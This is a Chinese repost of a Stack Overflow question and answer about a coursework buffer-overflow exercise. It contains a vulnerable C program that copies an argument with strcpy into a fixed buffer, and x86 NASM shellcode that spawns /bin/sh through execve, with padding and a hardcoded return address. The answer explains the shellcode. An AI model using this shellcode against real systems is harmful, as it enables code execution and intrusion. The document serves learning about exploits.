gpt4 book ai didi

c - 缓冲区溢出示例

转载 作者:太空宇宙 更新时间:2023-11-04 08:32:03 25 4
gpt4 key购买 nike

我有一个 C 代码和一个汇编代码,我必须使用它们对使用 GDB 的 C 程序执行缓冲区溢出攻击。我可能会使用命令运行 $(cat ),但是..

我无法设法编译汇编代码 - times NNNN db 0xff 给出了关于分配非常量值的错误,但我实际上不知道它做了什么,或者应该做什么.

看起来最后 4 行就像压入 esi 指向的堆栈一样,对吧?

mov byte al, 0x0b 行使用参数/bin/sh0、AAAA 和 BBBB 调用 execv。为什么我们需要最后两个?

最后是 int 0x80,我也不知道它有什么作用。

此外,jmp short callit -> callit doit 和从头开始用 doit 有什么区别?

如果有人能帮助我,我将不胜感激,谷歌搜索了几个小时后我迷路了。

NASM x86 代码:

BITS 32
jmp short callit

doit:
pop esi
xor eax, eax
mov byte [esi+7], al
lea bx, [esi]
mov dword [esi+8], ebx
mov dword [esi+12], eax
mov byte al, 0x0b
mov ebx, esi
lea exc, [esi+8]
lea edx, [esi+12]
int 0x80

callit
call doit

db '/bin/sh#AAAABBBB'
times NNNN db 0xff
dd 0xbffff050
db 0x00

C 代码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv) {
char buffer[256];

if (argc > 1) {
strcpy(buffer, argv[1]);
}
printf("%p\n", buffer);
return 0;
}

最佳答案

您不能汇编 times NNNN db 0xff 因为 NNNN 没有在任何地方定义。您大概应该在那里替换一个数字。

您需要AAAABBBB 以便为系统调用设置argv 数组。 argv[0] 应指向程序名称,argv[1] 应为 NULL

使用 CALL 是因为它将返回地址放在堆栈上,因此您可以使用它来计算数据的绝对地址。

关于c - 缓冲区溢出示例,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/27889126/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com